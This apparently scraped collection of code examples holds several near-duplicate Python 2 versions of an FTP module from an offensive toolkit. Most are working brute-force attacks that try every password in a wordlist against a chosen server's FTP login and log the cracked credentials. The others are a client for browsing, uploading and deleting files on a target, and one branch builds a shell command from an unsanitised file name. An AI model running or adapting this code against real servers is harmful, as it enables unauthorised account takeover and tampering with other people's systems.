def main(run):
    try:
        # HEAD MODULE
        if run: actions = raw_input(Message.prompt(initialize.CodeName))
        else: actions = "run"
        if getFunction.KatanaCheckActionShowOptions(actions):
            getFunction.ShowOptions(initialize.DEFAULT_VARIABLE)
        elif getFunction.KatanaCheckActionSetValue(actions):
            initialize.DEFAULT_VARIABLE = getFunction.UpdateValue(
                actions, initialize.DEFAULT_VARIABLE)
        elif getFunction.KatanaCheckActionisBack(actions):
            return
            # END HEAD MODULE
        elif getFunction.runModule(actions):
            Message.run()
            # CODE MODULE    ############################################################################################
            try:
                ftp = FTP(initialize.DEFAULT_VARIABLE[0][0])
                if True:
                    try:
                        Message.loading_file()
                        with open(initialize.DEFAULT_VARIABLE[3][0],
                                  'r') as passwords:
                            for password in passwords:
                                password = password.replace("\n", "")
                                try:
                                    ftp.login(
                                        initialize.DEFAULT_VARIABLE[2][0],
                                        password)
                                    if True:
                                        getFunction.save(
                                            "BruteForceFTP",
                                            initialize.DEFAULT_VARIABLE[0][0],
                                            initialize.DEFAULT_VARIABLE[1][0],
                                            initialize.DEFAULT_VARIABLE[2][0],
                                            password)
                                        Message.Success(
                                            initialize.DEFAULT_VARIABLE[2][0],
                                            password)
                                        break
                                except:
                                    print " " + Alr + " Checking (" + initialize.DEFAULT_VARIABLE[
                                        2][0] + "=" + password + ")"
                    except:
                        Errors.Errors(event=sys.exc_info(),
                                      info=initialize.DEFAULT_VARIABLE[3][0])
            except:
                Errors.Errors(event=sys.exc_info(),
                              info=initialize.DEFAULT_VARIABLE[0][0] + ":" +
                              initialize.DEFAULT_VARIABLE[1][0])
            # END CODE MODULE ############################################################################################
        else:
            getFunction.KatanaCheckActionGlobalCommands(actions)
    # ERROR GENERAL
    except:
        Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno)
    # END ERROR GENERAL
    main(True)
def main(run):
	try:
		# HEAD MODULE
		if run:	actions=raw_input(Message.prompt(initialize.CodeName))
		else  : actions="run"
		if getFunction.KatanaCheckActionShowOptions(actions)  :getFunction.ShowOptions(initialize.DEFAULT_VARIABLE)
		elif getFunction.KatanaCheckActionSetValue(actions)   :initialize.DEFAULT_VARIABLE=getFunction.UpdateValue(actions,initialize.DEFAULT_VARIABLE)
		elif getFunction.KatanaCheckActionisBack(actions)     :return
		# END HEAD MODULE
		elif getFunction.runModule(actions):
			Message.run()
			# CODE MODULE    ############################################################################################
			try:
				ftp = FTP(initialize.DEFAULT_VARIABLE[0][0])
				if True:
					try:
						Message.loading_file()
						with open(initialize.DEFAULT_VARIABLE[3][0],'r') as passwords:
							for password in passwords:
								password=password.replace("\n","")
								try:
									ftp.login(initialize.DEFAULT_VARIABLE[2][0],password)
									if True:
										getFunction.save("BruteForceFTP",initialize.DEFAULT_VARIABLE[0][0],initialize.DEFAULT_VARIABLE[1][0],initialize.DEFAULT_VARIABLE[2][0],password)
										Message.Success(initialize.DEFAULT_VARIABLE[2][0],password)
										break
								except:
									print " "+Alr+" Checking ("+initialize.DEFAULT_VARIABLE[2][0]+"="+password+")"
					except:
						Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[3][0])
			except:
				Errors.Errors(event=sys.exc_info(), info=initialize.DEFAULT_VARIABLE[0][0]+":"+initialize.DEFAULT_VARIABLE[1][0])
			# END CODE MODULE ############################################################################################
		else:
			getFunction.KatanaCheckActionGlobalCommands(actions)
	# ERROR GENERAL
	except:
		Errors.Errors(event=sys.exc_info(), info=sys.exc_traceback.tb_lineno)
	# END ERROR GENERAL
	main(True)
Esempio n. 3
0
def btftp(run):
    try:
        global defaulthost, defaultport, defaultuser, defaultdicc
        if run != 1:
            actions = raw_input(d.prompt("bt/ftp"))
        else:
            actions = "run"
        if actions == "show options" or actions == "sop":
            d.option()
            d.descrip("target", "yes", "IP or DNS", defaulthost)
            d.descrip("port", "no", "Port of target", defaultport)
            d.descrip("user", "yes", "Username", defaultuser)
            d.descrip("dict_1", "yes", "Dictionary pass", defaultdicc)
            d.space()
            btftp(0)
        elif actions[0:10] == "set target":
            defaulthost = defaulthost.replace("http://", "")
            defaulthost = ping.update(defaulthost, actions, "target")
            d.change("target", defaulthost)
        elif actions[0:8] == "set port":
            defaultport = ping.update(defaultport, actions, "port")
            d.change("port", defaultport)
        elif actions[0:8] == "set user":
            defaultuser = ping.update(defaultuser, actions, "user")
            d.change("user", defaultuser)
        elif actions[0:10] == "set dict_1":
            defaultdicc = ping.update(defaultdicc, actions, "dict_1")
            d.change("dict_1", defaultdicc)
        elif actions == "exit" or actions == "x":
            d.goodbye()
            exit()
        elif actions == "help" or actions == "h":
            help.help()
        elif actions == "back" or actions == "b":
            return
            return
        elif actions == "run" or actions == "r":
            d.run()
            try:
                ftp = FTP(defaulthost)
                if True:
                    try:
                        d.loading_file()
                        try:
                            with open(defaultdicc, 'r') as passs:
                                for ps in passs:
                                    ps = ps.replace("\n", "")
                                    try:
                                        ftp.login(defaultuser, ps)
                                        if True:
                                            ping.save("BruteForceFTP",
                                                      defaulthost, defaultport,
                                                      defaultuser, ps)
                                            d.Success(defaultuser, ps)
                                            return 1
                                    except:
                                        print " " + Alr + " Checking (" + defaultuser + "=" + ps + ")"
                        except:
                            Errors.Errors(event=sys.exc_info()[0],
                                          info=defaultdicc)
                    except:
                        Errors.Errors(event=sys.exc_info()[0], info=False)
            except:
                Errors.Errors(event=sys.exc_info()[0],
                              info=defaulthost + ":" + defaultport)
        else:
            d.No_actions()
    except:
        Errors.Errors(event=sys.exc_info()[0], info=False)
    btftp(0)
Esempio n. 4
0
def btftp():
	try:
		global defaulthost,defaultport,defaultdic1,defaultdic2
		actions = raw_input(O+"     ktn/bt/ftp > "+W)
		if actions == "show options":
			print ""
			print "     ["+R+"+"+W+"] options"
			print "     |target         : yes"
			print "     |port           : no/yes"
			print "     |dictionaries   : no/yes\n"
			print ""
			print "     ["+G+"+"+W+"] options current"
			print "     |target         : ",defaulthost
			print "     |port           : ",defaultport
			print "     |dictionary_1   : ",defaultdic1
			print "     |dictionary_2   : ",defaultdic2
			print ""
			btftp()
		elif actions[0:10] == "set target":
			defaulthost = actions[11:]
			defaulthost = defaulthost.replace("http://", "")
			print "     target         : "+defaulthost+" "+O+"     Saved!!!"+W
			btftp()
		elif actions[0:8] == "set port":
			defaultport = actions[9:]
			print "     port           : "+defaultport+" "+O+"     Saved!!!"+W
			btftp()
		elif actions[0:16] == "set dictionary_1":
				defaultdic1 = actions[17:]
				print "     dictionary_1   : "+defaultdic1+" "+O+"     Saved!!!"+W
				btftp()
		elif actions[0:16] == "set dictionary_2":
				defaultdic2 = actions[17:]
				print "     dictionary_2   : "+defaultdic2+" "+O+"     Saved!!!"+W
				btftp()

		elif actions=="back":
			pass 
		elif actions=="exit":
			print C+"     GooD"+W+" bye."
			exit()
		elif actions == "help":
			help.help()

		if actions == "run":
			print("\n     ["+O+"!"+W+"] Checking file")
			if True:
				if True:
					print "     ["+G+"+"+W+"] options current"
					print "     target         : ",defaulthost
					print "     port           : ",defaultport
					print "     dictionary_1   : ",defaultdic1
					print "     dictionary_2   : ",defaultdic2
					print ""
					try:
						ftp = FTP(defaulthost)
						if True:
							print("     ["+G+"+"+W+"] target LIVE")
							print("     ["+G+"+"+W+"] Running")
							try:
								with open(defaultdic1,'r') as user:
									for us in user: 
										with open(defaultdic2,'r') as passs:
											for ps in passs:
												us=us.replace("\n","")
												ps=ps.replace("\n","")
												try:
													ftp.login(us,ps)
													if True:
														log=open('core/logs/logsBruteForce.log','a')
														log.write('\n ===================================== ')
														log.write('\n Module  : BruteForceFTP')
														log.write('\n Data    : '+time.strftime('%c'))
														log.write('\n target  : '+defaulthost)
														log.write('\n port    : '+defaultport)
														log.write('\n Cracked : username : '******' , password : '+ps)
														log.close()
														print "     ["+G+"+"+W+"] Successfully with username : "******" , password : "******"\n"
														return
												except(KeyboardInterrupt, SystemExit):
													print("     ["+O+"!"+W+"] (Ctrl + C) Detected, System Exit")
												except:
													print "     ["+O+"!"+W+"] Checking with username : "******" , password : "******"     ["+O+"!"+W+"] (Ctrl + C) Detected, System Exit")
					except:
						print("     ["+R+"-"+W+"] target off")
		else:
			print "     ["+O+"!"+W+"] command No Accept"+W
	except(KeyboardInterrupt, SystemExit):
		print("     ["+O+"!"+W+"] (Ctrl + C) Detected, System Exit")
	btftp()
Esempio n. 5
0
def btftp(run):
    try:
        global defaulthost, defaultport, defaultuser, defaultdicc
        if run != 1:
            actions = raw_input(d.prompt("bt/ftp"))
        else:
            actions = "run"
        if actions == "show options" or actions == "sop":
            d.option()
            d.descrip("target", "yes", "IP or DNS", defaulthost)
            d.descrip("port", "no", "Port of target", defaultport)
            d.descrip("user", "yes", "Username", defaultuser)
            d.descrip("dict_1", "yes", "Dictionary pass", defaultdicc)
            print ""
            btftp(0)
        elif actions[0:10] == "set target":
            defaulthost = actions[11:]
            defaulthost = defaulthost.replace("http://", "")
            d.change("target", defaulthost)
            btftp(0)
        elif actions[0:8] == "set port":
            defaultport = actions[9:]
            d.change("port", defaultport)
            btftp(0)
        elif actions[0:8] == "set user":
            defaultuser = actions[9:]
            d.change("user", defaultuser)
            btftp(0)
        elif actions[0:10] == "set dict_1":
            defaultdicc = actions[11:]
            d.change("dict_1", defaultdicc)
            btftp(0)
        elif actions == "exit" or actions == "x":
            d.goodbye()
            exit()
        elif actions == "help" or actions == "h":
            help.help()
        elif actions == "back" or actions == "b":
            return
            return
        elif actions == "run" or actions == "r":
            d.run()
            try:
                ftp = FTP(defaulthost)
                if True:
                    try:
                        d.loading()
                        try:
                            with open(defaultdicc, 'r') as passs:
                                for ps in passs:
                                    ps = ps.replace("\n", "")
                                    try:
                                        ftp.login(defaultuser, ps)
                                        if True:
                                            ping.save("BruteForceFTP",
                                                      defaulthost, defaultport,
                                                      defaultuser, ps)
                                            print "\n-" + Suf + " Successfully with (" + defaultuser + "=" + ps + ")\n"
                                            return 1
                                    except:
                                        print " " + Alr + " Checking (" + defaultuser + "=" + ps + ")"
                        except:
                            d.filenot(defaultdicc)
                            btpop3(0)
                    except:
                        d.kbi()
            except:
                d.off()
        else:
            d.nocommand()
    except:
        d.kbi()
        exit()
    btftp(0)
Esempio n. 6
0
def btftp(run):
	try:
		global defaulthost,defaultport,defaultuser,defaultdicc
		if run!=1:
			actions=raw_input(d.prompt("bt/ftp"))
		else:
			actions="run"
		if actions == "show options" or actions == "sop":
			d.option()
			d.descrip("target","yes","IP or DNS",defaulthost)
			d.descrip("port","no","Port of target",defaultport)
 			d.descrip("user","yes","Username",defaultuser)
 			d.descrip("dict_1","yes","Dictionary pass",defaultdicc)
			print ""
			btftp(0)
		elif actions[0:10] == "set target":
			defaulthost = actions[11:]
			defaulthost = defaulthost.replace("http://", "")
			d.change("target",defaulthost)
			btftp(0)
		elif actions[0:8] == "set port":
			defaultport = actions[9:]
			d.change("port",defaultport)
			btftp(0)
		elif actions[0:8] == "set user":
			defaultuser = actions[9:]
			d.change("user",defaultuser)
			btftp(0)
		elif actions[0:10] == "set dict_1":
			defaultdicc = actions[11:]
			d.change("dict_1",defaultdicc)
			btftp(0)
		elif actions=="exit" or actions=="x":
			d.goodbye()
			exit()
		elif actions=="help" or actions=="h":
			help.help()
		elif actions=="back" or actions=="b":
			return
			return
		elif actions=="run"  or actions=="r":
			d.run()
			try:
				ftp = FTP(defaulthost)
				if True:
					try:
						d.loading()
						try:
							with open(defaultdicc,'r') as passs:
								for ps in passs:
									ps=ps.replace("\n","")
									try:
										ftp.login(defaultuser,ps)
										if True:
											ping.save("BruteForceFTP",defaulthost,defaultport,defaultuser,ps)
											print "\n-"+Suf+" Successfully with ("+defaultuser+"="+ps+")\n"
											return 1
									except:
										print " "+Alr+" Checking ("+defaultuser+"="+ps+")"
						except:
							d.filenot(defaultdicc)
							btpop3(0)
					except:
						d.kbi()
			except:
				d.off()
		else:
			d.nocommand()
	except:
		d.kbi()
		exit()
	btftp(0)
Esempio n. 7
0
def cftp(run):
    try:
        global defaulthost, defaultport, defaultuser, defaultpass
        if run != 1:
            actions = raw_input(d.prompt("clt/ftp"))
        else:
            actions = "run"
        if actions == "show options" or actions == "sop":
            d.option()
            d.descrip("target", "yes", "IP or DNS", defaulthost)
            d.descrip("port", "no", "Port of target", defaultport)
            d.descrip("user", "yes", "Username", defaultuser)
            d.descrip("pass", "yes", "Password", defaultpass)
            print ""
            cftp(0)
        elif actions[0:10] == "set target":
            defaulthost = actions[11:]
            defaulthost = defaulthost.replace("http://", "")
            d.change("target", defaulthost)
            cftp(0)
        elif actions[0:8] == "set port":
            defaultport = actions[9:]
            d.change("port", defaultport)
            cftp(0)
        elif actions[0:8] == "set user":
            defaultuser = actions[9:]
            d.change("user", defaultuser)
            cftp(0)
        elif actions[0:8] == "set pass":
            defaultpass = actions[9:]
            d.change("pass", defaultpass)
            cftp(0)
        elif actions == "exit" or actions == "x":
            d.goodbye()
            exit()
        elif actions == "help" or actions == "h":
            help.help()
        elif actions == "back" or actions == "b":
            return
        elif actions == "run" or actions == "r":
            d.run()
            try:
                ftp = FTP(defaulthost)
                if True:
                    try:
                        ftp.login(defaultuser, defaultpass)
                        if True:
                            try:
                                cmd = "nop"
                                patch = ""
                                print "\n " + Hlp + " FTP Client help\n"
                                print "  ----------------------------------------"
                                print "  |" + colors[6] + "Commd" + colors[
                                    0] + "| " + colors[
                                        6] + "Description" + colors[
                                            0] + " | " + colors[
                                                6] + "Examples" + colors[
                                                    0] + "         |"
                                print "  ----------------------------------------"
                                print "  |ls	| list files  | ls               |"
                                print "  |cd	| change dir  | cd css           |"
                                print "  |mk	| create dir  | mk images        |"
                                print "  |rm	| remove file | remove config.js | "
                                print "  |rmd  | remove dir  | remove sex       |"
                                print "  |get  | get file    | get index.php    |"
                                print "  |put  | up file     | put login.php    |"
                                print "  ----------------------------------------"
                                print ""
                                while (cmd != "exit"):
                                    cmd = raw_input(colors[1] + " CLT~" +
                                                    colors[3] + "ftp/" +
                                                    patch + "> " + colors[0])
                                    if cmd == "ls":
                                        ftp.retrlines("LIST")
                                    if cmd[0:2] == "cd":
                                        try:
                                            ftp.cwd(cmd[3:])
                                            if True:
                                                patch = cmd[3:]
                                                if patch == "..":
                                                    patch = ""
                                        except:
                                            print " [" + colors[1] + "-" + colors[
                                                0] + "] Error: directory wrong."
                                    if cmd[0:3] == "get":
                                        lfile = cmd[4:].replace("\n", "")
                                        try:
                                            ftp.retrbinary(
                                                'RETR ' + lfile,
                                                open(lfile, 'wb').write)
                                            if True:
                                                subprocess.Popen(
                                                    "cp " + lfile +
                                                    " /root/Desktop/;rm " +
                                                    lfile + "",
                                                    stdout=subprocess.PIPE,
                                                    stderr=subprocess.PIPE,
                                                    shell=True).wait()
                                                print " [" + colors[1] + "-" + colors[
                                                    0] + "] Saved, /root/Desktop/" + lfile
                                        except:
                                            print " [" + colors[1] + "-" + colors[
                                                0] + "] Error: file not found."
                                    if cmd[0:3] == "put":
                                        lfile = cmd[4:].replace("\n", "")
                                        w = open(lfile, 'rb')
                                        try:
                                            ftp.storbinary("STOR r.r", w)
                                        except:
                                            print " [" + colors[
                                                1] + "-" + colors[
                                                    0] + "] Error: file wrong."
                                    if cmd[0:2] == "rm":
                                        try:
                                            ftp.delete(cmd[3:])
                                        except:
                                            print " [" + colors[1] + "-" + colors[
                                                0] + "] Error: file not found."
                                    if cmd[0:3] == "rmd":
                                        pat = cmd[4:].replace("\n", "")
                                        ftp.rmd(pat)
                                    if cmd[0:2] == "mk":
                                        try:
                                            ftp.mkd(cmd[3:])
                                        except:
                                            print " [" + colors[1] + "-" + colors[
                                                0] + "] Error: directory wrong."

                            except (KeyboardInterrupt):
                                d.kbi()
                            except Exception, e:
                                print(
                                    " [" + colors[1] + "-" + colors[0] +
                                    "] Timeout.", e)
                    except:
                        d.nomatch()
            except:
                d.off()
        else:
            d.nocommand()
    except:
        d.kbi()
        exit()
    cftp(0)
Esempio n. 8
0
def cftp(run):
	try:
		global defaulthost,defaultport,defaultuser,defaultpass
		if run!=1:
			actions=raw_input(d.prompt("clt/ftp"))
		else:
			actions="run"
		if actions == "show options" or actions == "sop":
			d.option()
			d.descrip("target","yes","IP or DNS",defaulthost)
			d.descrip("port","no","Port of target",defaultport)
 			d.descrip("user","yes","Username",defaultuser)
 			d.descrip("pass","yes","Password",defaultpass)
			print ""
			cftp(0)
		elif actions[0:10] == "set target":
			defaulthost = actions[11:]
			defaulthost = defaulthost.replace("http://", "")
			d.change("target",defaulthost)
			cftp(0)
		elif actions[0:8] == "set port":
			defaultport = actions[9:]
			d.change("port",defaultport)
			cftp(0)
		elif actions[0:8] == "set user":
			defaultuser = actions[9:]
			d.change("user",defaultuser)
			cftp(0)
		elif actions[0:8] == "set pass":
			defaultpass = actions[9:]
			d.change("pass",defaultpass)
			cftp(0)
		elif actions=="exit" or actions=="x":
			d.goodbye()
			exit()
		elif actions=="help" or actions=="h":
			help.help()
		elif actions=="back" or actions=="b":
			return
		elif actions=="run"  or actions=="r":
			d.run()
			try:
				ftp = FTP(defaulthost) 
				if True:
					try:
						ftp.login(defaultuser,defaultpass)									
						if True:
							try:
								cmd="nop"
								patch=""
								print "\n "+Hlp+" FTP Client help\n"
								print "  ----------------------------------------"
								print "  |"+colors[6]+"Commd"+colors[0]+"| "+colors[6]+"Description"+colors[0]+" | "+colors[6]+"Examples"+colors[0]+"         |"
								print "  ----------------------------------------"
								print "  |ls	| list files  | ls               |" 
								print "  |cd	| change dir  | cd css           |"
								print "  |mk	| create dir  | mk images        |"
								print "  |rm	| remove file | remove config.js | "
								print "  |rmd  | remove dir  | remove sex       |"
								print "  |get  | get file    | get index.php    |"
								print "  |put  | up file     | put login.php    |"
								print "  ----------------------------------------"
								print ""
								while(cmd!="exit"):
									cmd = raw_input(colors[1]+" CLT~"+colors[3]+"ftp/"+patch+"> "+colors[0])
									if cmd == "ls":
										ftp.retrlines("LIST")
									if cmd[0:2] == "cd":
										try:
											ftp.cwd(cmd[3:])
											if True:
												patch=cmd[3:]
												if patch == "..":
													patch=""
										except:
											print " ["+colors[1]+"-"+colors[0]+"] Error: directory wrong."
									if cmd[0:3] == "get":
										lfile=cmd[4:].replace("\n","")
										try:
											ftp.retrbinary('RETR '+lfile,open(lfile,'wb').write)
											if True:
												subprocess.Popen("cp "+lfile+" /root/Desktop/;rm "+lfile+"", stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait()
												print " ["+colors[1]+"-"+colors[0]+"] Saved, /root/Desktop/"+lfile
										except:
											print " ["+colors[1]+"-"+colors[0]+"] Error: file not found."
									if cmd[0:3] == "put":
										lfile=cmd[4:].replace("\n","")
										w = open(lfile, 'rb')
										try:
											ftp.storbinary("STOR r.r",w)
										except:
											print " ["+colors[1]+"-"+colors[0]+"] Error: file wrong."
									if cmd[0:2] == "rm":
										try:
											ftp.delete(cmd[3:])
										except:
											print " ["+colors[1]+"-"+colors[0]+"] Error: file not found."
									if cmd[0:3] == "rmd":
										pat=cmd[4:].replace("\n","")
										ftp.rmd(pat)
									if cmd[0:2] == "mk":
										try:
											ftp.mkd(cmd[3:])
										except:
											print " ["+colors[1]+"-"+colors[0]+"] Error: directory wrong."

							except(KeyboardInterrupt):
								d.kbi()
							except Exception,e:
								print(" ["+colors[1]+"-"+colors[0]+"] Timeout.", e)
					except:
						d.nomatch()
			except:
				d.off()
		else:
			d.nocommand()
	except:
		d.kbi()
		exit()
	cftp(0)
Esempio n. 9
0
def btftp(run):
	try:
		global defaulthost,defaultport,defaultuser,defaultdicc
		if run!=1:
			actions=raw_input(d.prompt("bt/ftp"))
		else:
			actions="run"
		if actions == "show options" or actions == "sop":
			d.option()
			d.descrip("target","yes","IP or DNS",defaulthost)
			d.descrip("port","no","Port of target",defaultport)
 			d.descrip("user","yes","Username",defaultuser)
 			d.descrip("dict_1","yes","Dictionary pass",defaultdicc)
			d.space()
			btftp(0)
		elif actions[0:10] == "set target":
			defaulthost=defaulthost.replace("http://", "")
			defaulthost=ping.update(defaulthost,actions,"target")
			d.change("target",defaulthost)
		elif actions[0:8] == "set port":
			defaultport=ping.update(defaultport,actions,"port")
			d.change("port",defaultport)
		elif actions[0:8] == "set user":
			defaultuser=ping.update(defaultuser,actions,"user")
			d.change("user",defaultuser)
		elif actions[0:10] == "set dict_1":
			defaultdicc=ping.update(defaultdicc,actions,"dict_1")
			d.change("dict_1",defaultdicc)
		elif actions=="exit" or actions=="x":
			d.goodbye()
			exit()
		elif actions=="help" or actions=="h":
			help.help()
		elif actions=="back" or actions=="b":
			return
			return
		elif actions=="run"  or actions=="r":
			d.run()
			try:
				ftp = FTP(defaulthost)
				if True:
					try:
						d.loading_file()
						try:
							with open(defaultdicc,'r') as passs:
								for ps in passs:
									ps=ps.replace("\n","")
									try:
										ftp.login(defaultuser,ps)
										if True:
											ping.save("BruteForceFTP",defaulthost,defaultport,defaultuser,ps)
											d.Success(defaultuser,ps)
											return 1
									except:
										print " "+Alr+" Checking ("+defaultuser+"="+ps+")"
						except:
							Errors.Errors(event=sys.exc_info()[0], info=defaultdicc)
					except:
						Errors.Errors(event=sys.exc_info()[0], info=False)
			except:
				Errors.Errors(event=sys.exc_info()[0], info=defaulthost+":"+defaultport)
		else:
			d.No_actions()
	except:
		Errors.Errors(event=sys.exc_info()[0], info=False)
	btftp(0)
Esempio n. 10
0
def cftp():
	try:
		global defaulthost,defaultport,defaultdat1,defaultdat2
		actions = raw_input(O+"     ktn/clt/ftp > "+W)
		if actions == "show options":
			print ""
			print "     ["+R+"+"+W+"] options"
			print "     |host           : yes"
			print "     |port           : no/yes"
			print "     |username       : yes"
			print "     |password       : yes\n"
			print ""
			print "     ["+G+"+"+W+"] options current"
			print "     |host           : ",defaulthost
			print "     |port           : ",defaultport
			print "     |username       : "******"     |password       : "******""
			cftp()
		elif actions[0:8] == "set host":
			defaulthost = actions[9:]
			print "     host           : "+defaulthost+" "+O+"     Saved!!!"+W
			cftp()
		elif actions[0:8] == "set port":
			defaultport= actions[9:]
			print "     port           : "+defaultport+" "+O+"     Saved!!!"+W
			cftp()
		elif actions[0:12] == "set username":
			defaultdat1 = actions[13:]
			print "     username       : "******" "+O+"     Saved!!!"+W
			cftp()
		elif actions[0:12] == "set password":
			defaultdat2= actions[13:]
			print "     password       : "******" "+O+"     Saved!!!"+W
			cftp()
		elif actions=="back":
			return 
		elif actions=="exit":
			print C+"     GooD"+W+" bye."
			exit()
		elif actions == "help":
			help.help()
		elif actions == "run":
			print("\n     ["+O+"!"+W+"] Checking target")
			print "     ["+G+"+"+W+"] options current"
			print "     host           : ",defaulthost
			print "     port           : ",defaultport
			print "     username       : "******"     password       : "******""
			try:
				ftp = FTP(defaulthost) 
				if True:
					try:
						print("     ["+G+"+"+W+"] host LIVE")
						print("     ["+G+"+"+W+"] Running")
						ftp.login(defaultdat1,defaultdat2)									
						if True:
							try:
								cmd="nop"
								patch=""
								print "\n     ["+B+"*"+W+"] FTP Client help\n"
								print "           ls	: list files  ex: ls" 
								print "           cd	: change dir  ex: cd web/site"
								print "           mk	: create dir  ex: mk images"
								print "           rm	: remove file ex: remove config.js"
								print "           rmd  : remove dir  ex: remove sex"
								print "           get  : get file    ex: get index.php"
								print "           put  : up file     ex: put login.php"
								while(cmd!="exit"):
									cmd = raw_input(O+" ftp/"+patch+"> "+W)
									if cmd == "ls":
										ftp.retrlines("LIST")
									if cmd[0:2] == "cd":
										try:
											ftp.cwd(cmd[3:])
											if True:
												patch=cmd[3:]
												if patch == "..":
													patch=""
										except:
											print "     ["+O+"!"+W+"] Error: diretory wrong"
									if cmd[0:3] == "get":
										lfile=cmd[4:].replace("\n","")
										try:
											ftp.retrbinary('RETR '+lfile,open(lfile,'wb').write)
											if True:
												subprocess.Popen("cp "+lfile+" /root/Desktop/;rm "+lfile+"", stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait()
												print "      ["+O+"!"+W+"] Saved, /root/Desktop/"+lfile
										except:
											print "     ["+O+"!"+W+"] Error: file wrong"
									if cmd[0:3] == "put":
										lfile=cmd[4:].replace("\n","")
										w = open(lfile, 'rb')
										try:
											ftp.storbinary("STOR r.r",w)
										except:
											print "     ["+O+"!"+W+"] Error: file wrong"
									if cmd[0:2] == "rm":
										try:
											ftp.delete(cmd[3:])
										except:
											print "     ["+O+"!"+W+"] Error: file wrong"
									if cmd[0:3] == "rmd":
										pat=cmd[4:].replace("\n","")
										ftp.rmd(pat)
									if cmd[0:2] == "mk":
										try:
											ftp.mkd(cmd[3:])
										except:
											print "     ["+O+"!"+W+"] Error: diretory wrong"

							except(KeyboardInterrupt):
								print("\n     ["+O+"!"+W+"] (Ctrl + C) Detected, System Exit")
							except Exception,e:
								print("     ["+R+"-"+W+"] Timeout", e)
					except:
						print("     ["+R+"-"+W+"] username or password Wrong")
			except:
				print("     ["+R+"-"+W+"] target off")
		else:
			print "     ["+O+"!"+W+"] command No Accept"+W
	except(KeyboardInterrupt):
		print("\n     ["+O+"!"+W+"] (Ctrl + C) Detected, System Exit")
	cftp()